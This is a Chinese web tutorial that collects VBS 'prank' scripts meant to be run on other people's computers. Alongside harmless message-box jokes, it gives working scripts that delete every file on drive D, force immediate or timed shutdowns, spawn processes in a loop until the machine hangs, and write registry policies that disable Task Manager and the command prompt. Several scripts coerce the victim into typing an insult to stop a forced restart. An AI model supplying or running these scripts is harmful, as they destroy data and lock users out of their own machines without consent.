投稿

vbs整人代码大全|VBS恶作剧脚本

热心网友 • • 教程 • 阅读 13

VBS是是：Microsoft Visual Basic Script Edition。（微软公司可视化BASIC脚本版），在平时我们可以利用VBS做很多事情，当然了要熟悉VBS代码自己制作还是挺难的，不过对于使用现成的VBS代码制作VBS文件还是很简单的，很多朋友想要一些VBS整人代码，下面小编就整理了一些。

注意：一些VBS整人代码会引起不适，并且部分代码有高危害性，会删除电脑文件的一定要慎用！

VBS制作方法

1、在记事本中粘贴VBS代码；

2、另存为VBS文件，双击即可运行。

vbs整人代码大全|VBS恶作剧脚本

VBS整人代码大全：

一、做我女朋友吗，告白（抖音里很火的）无危害

msgbox(;做我女朋友可以吗？;)
msgbox(;房产证上写你名;)
msgbox(;保大;)
msgbox(;我妈会游泳;)
m = MsgBox(;做我女朋友好吗?;,vbOKCancel)
If m = vbOK Then Msgbox(;爱你么么哒;)
If m = vbCancel Then MsgBox ;不喜欢你了;, vbCritical

二、无限弹出，点确定继续弹出，把www.winwin7.com 改成你要文字。

do

msgbox www.winwin7.com

loop

三、打开无数个计算器，直到死机（把calc改成别的程序也可以）

set wsh=createobject(;wscript.shell;)

do

wsh.run ;calc;

loop

四、直接关机（慎用）

dim WSHshell

set WSHshell = wscript.createobject(;wscript.shell;)

WSHshell.run ;shutdown -f -s -t 00;,0 ,true

五、删除D:所有文件（强烈建议不要用，删除重要文件无法恢复可能会负法律责任）

dim WSHshell

set WSHshell = wscript.createobject(;wscript.shell;)

WSHshell.run ;cmd /c ;;del d:*.* / f /q /s;;;,0 ,true

六、不断弹出窗口

while(1)

msgbox ;哈哈 你被耍了！;

loop

七、不断按下alt+f4 （打开什么就关闭什么……）

dim WSHshell

set WSHshell = wscript.createobject(;wscript.shell;)

while(1)

WSHshell.SendKeys ;%{F4};

loop

八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

dim s

do until s=500

s=s+1

msgbox ;哥们，给我按500次回车吧;,64

loop

九、关不掉的窗口

WScript.Echo(;嘿，谢谢你打开我哦，我等你很久拉！;&TSName)

WScript.Echo(;你是可爱的小朋吗?;)

WScript.Echo(;哈,我想你拉，这你都不知道吗？;)

WScript.Echo(;怎么才来，说~是不是不关心我;)

WScript.Echo(;哼,我生气拉，等你这么久，心都凉啦。;)

WScript.Echo(;小强很生气，后果很严重哦。;)

WScript.Echo(;嘿嘿！你也会很惨滴哦;)

WScript.Echo(;是不是想清除我？;)

WScript.Echo(;那你要点上50下哦，不过会给你惊喜滴;)

WScript.Echo(;还剩49下，快点点哦;)

WScript.Echo(;还剩48下，快点，小笨蛋！;)

WScript.Echo(;还剩47下对，就这样快点点！;)

WScript.Echo(;还剩46下。你啊就是笨，要快哦，我先不打扰你工作。;)

WScript.Echo(;还剩45下，记得要快哦！;)

WScript.Echo(;还剩43下;)

WScript.Echo(;还剩42下;)

WScript.Echo(;还剩41下;)

WScript.Echo(;还剩40下;)

WScript.Echo(;还剩39下;)

WScript.Echo(;还剩38下;)

WScript.Echo(;还剩37下;)

WScript.Echo(;还剩36下;)

WScript.Echo(;还剩35下;)

WScript.Echo(;还剩34下;)

WScript.Echo(;还剩33下;)

WScript.Echo(;还剩32下;)

WScript.Echo(;还剩30下;)

WScript.Echo(;还剩29下;)

WScript.Echo(;还剩28下;)

WScript.Echo(;还剩27下;)

WScript.Echo(;还剩26下;)

WScript.Echo(;还剩25下;)

WScript.Echo(;还剩24下;)

WScript.Echo(;还剩23下;)

WScript.Echo(;还剩22下;)

WScript.Echo(;还剩21下;)

WScript.Echo(;还剩20下;)

WScript.Echo(;还剩19下;)

WScript.Echo(;还剩18下;)

WScript.Echo(;还剩17下;)

WScript.Echo(;还剩16下;)

WScript.Echo(;还剩15下;)

WScript.Echo(;还剩14下;)

WScript.Echo(;还剩13下停停！！！慢点，我有话要说;)

WScript.Echo(;还剩12下，你继续点我就会消失滴;)

WScript.Echo(;还剩11下，以后就看不到我拉。555555;)

WScript.Echo(;还剩10下，你现在可以选择停止！;)

WScript.Echo(;还剩9下。你还点啊，不要我拉？;)

WScript.Echo(;还剩8下，有点伤心拉，干嘛丢弃人家;)

WScript.Echo(;还剩7下。疯了，你有点负意！;)

WScript.Echo(;还剩6下。对。你就点吧，我恨你！;)

WScript.Echo(;还剩5下，不明白，删除我你就好吗？;)

WScript.Echo(;还剩4下！真要删除我？;)

WScript.Echo(;还剩3下。可是我真的很眷恋你。。。;)

WScript.Echo(;还剩2下。不要这么绝情嘛，人家是爱你的！;)

WScript.Echo(;还剩1下。哼，既然你这么绝情。也别怪我无义！！！;)

WScript.Echo(;我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。;)

WScript.Echo(;想结素我么?那你就再多点一次;)

WScript.Echo(;想结素我么?那你就再多点一次;)

WScript.Echo(;想结素我么?那你就再多点一次;)

WScript.Echo(;想结素我么?那你就再多点一次;)

WScript.Echo(;想结素我么?那你就再多点一次;)

WScript.Echo(;想结素我么?那你就再多点一次;)

WScript.Echo(;想结素我么?那你就再多点一次;)

WScript.Echo(;想结素我么?那你就再多点一次;)

WScript.Echo(;想结素我么?那你就再多点一次;)

WScript.Echo(;想结素我么?那你就再多点一次;)

十、输入指定文字解除，否则关机

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject(;wscript.shell;)

WSHshellA.run ;cmd.exe /c shutdown -r -t 180 -c ;;说我是猪，不说我是猪就一分钟关机，不信，试下···;; ;,0 ,true

dim a

do while(a <> ;我是猪;)

a = inputbox (;说我是猪,就不关机，快撒，说 ;;我是猪;;　;,;说不说;,;;,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,;MsgBox;

loop

msgbox chr(13) + chr(13) + chr(13) + ;早说就行了嘛;

dim WSHshell

set WSHshell = wscript.createobject(;wscript.shell;)

WSHshell.run ;cmd.exe /c shutdown -a;,0 ,true

msgbox chr(13) + chr(13) + chr(13) + ;哈哈哈哈，好乖;

十一、还是需要输入我是猪，不然关机

set ws=createobject(;wscript.shell;)

call shutdown(1)

do while a<>;我是猪;

a=inputbox(;快在下面的框框里输入我是猪,否则后果自负，快输;;我是猪;; ;,;输不输;,;;)

loop

call shutdown(2)

msgbox ;早说就行了嘛;,4096+64

msgbox;再输一遍我是猪!;,4096+64

msgbox;我是猪!;,4096+64

MsgBox;最后一次!;,4096+64

MsgBox;如果你很快的点过去,不看的话;,4096+64

MsgBox;我就要你踩我空间的!哼!;,4096+64

MsgBox;从前有座山!;,4096+64

MsgBox;山里有个庙.;,4096+64

MsgBox;庙里有个老和尚在讲故事.;,4096+64

ws.run;iexplore.exe http://www.winwin7.com;

msgbox;哎呀累了！数绵羊哄我睡觉;,4096+64

for i=1 to 100

MsgBox i&;只绵羊;,4096+64

next

msgbox;哎呀我困了，这次就饶过你吧，下次注意哦!;,4096+64

msgbox;最后问个问题，我是不是大好人！;,4096+64

if inputbox(;是不是;,;请选择;,;是;)<>;是; then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run;cmd.exe /c shutdown -r -t 60 -c;,0

case 2

ws.run;cmd.exe /c shutdown -a;,0

end select

end sub

十二、输入我是猪结束运行，否则

如果别人不输我是猪的话就会一直点下去 点到你设定的数字

for i=1 to 100

从1到100

可以改成 20 其他的数字

解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe

复制代码 代码如下:

set s=createobject(;wscript.shell;)

set bag=getobject(;winmgmts:\.rootcimv2;)

set pipe=bag.execquery(;select * from win32_process where name='wscript.exe';)

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite;HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr;,0,;REG_DWORD;

s.regwrite;HKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD;,0,;REG_DWORD;

id.terminate()

else

s.regwrite;HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr;,1,;REG_DWORD;

s.regwrite;HKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD;,1,;REG_DWORD;

for i=1 to 60

s.popup;系统将在;& 60-i &;秒后关机…;,1,;系统提示;,4096+48

next

Set colOS = GetObject(;winmgmts:{(Shutdown)};).ExecQuery(;Select * FROM Win32_OperatingSystem;)

For Each eOs In colOS

eOs.Win32Shutdown(2)

Next

end if

Next

十三、

1：开机就强制自动关机

2：cmd命令打不开

3：结束任务不管用

4：F8安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，

PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject(;wscript.shell;)

WSHshellA.run ;cmd.exe /c shutdown -r -t 60 -c ;;说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试···;; ;,0 ,true

dim a

do while(a <> ;宝宝，我是天下第一大傻B;)

a = inputbox (;宝宝，我是天下第一大傻B,就不关机，快撒，说 ;;宝宝，我是天下第一大傻B;;　;,;说不说;,;不说;,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,;MsgBox;

loop

msgbox chr(13) + chr(13) + chr(13) + ;早说就行了嘛，乖乖;

dim WSHshell

set WSHshell = wscript.createobject(;wscript.shell;)

WSHshell.run ;cmd.exe /c shutdown -a;,0 ,true

msgbox chr(13) + chr(13) + chr(13) + ;宝宝是不是又帅啦？？;

以上就是这次小编给大家分享的VBS整人代码大全了，还是老话，有危害的轻易不要使用。

本文来自互联网或AI生成，不代表系统内阁立场。本站不负任何法律责任。

如若转载请注明出处：https://www.system.cab/tutorials/59898.html

热心网友的头像热心网友
0
上一篇 2025-04-09 12:51
下一篇 2025-04-09 12:51

相关推荐

无论是个人用户还是专业人士，都能在这里找到适合自己的系统版本。
本站[系统内阁]所有内容来自互联网投稿或AI智能生成，并不代表[系统内阁]的立场。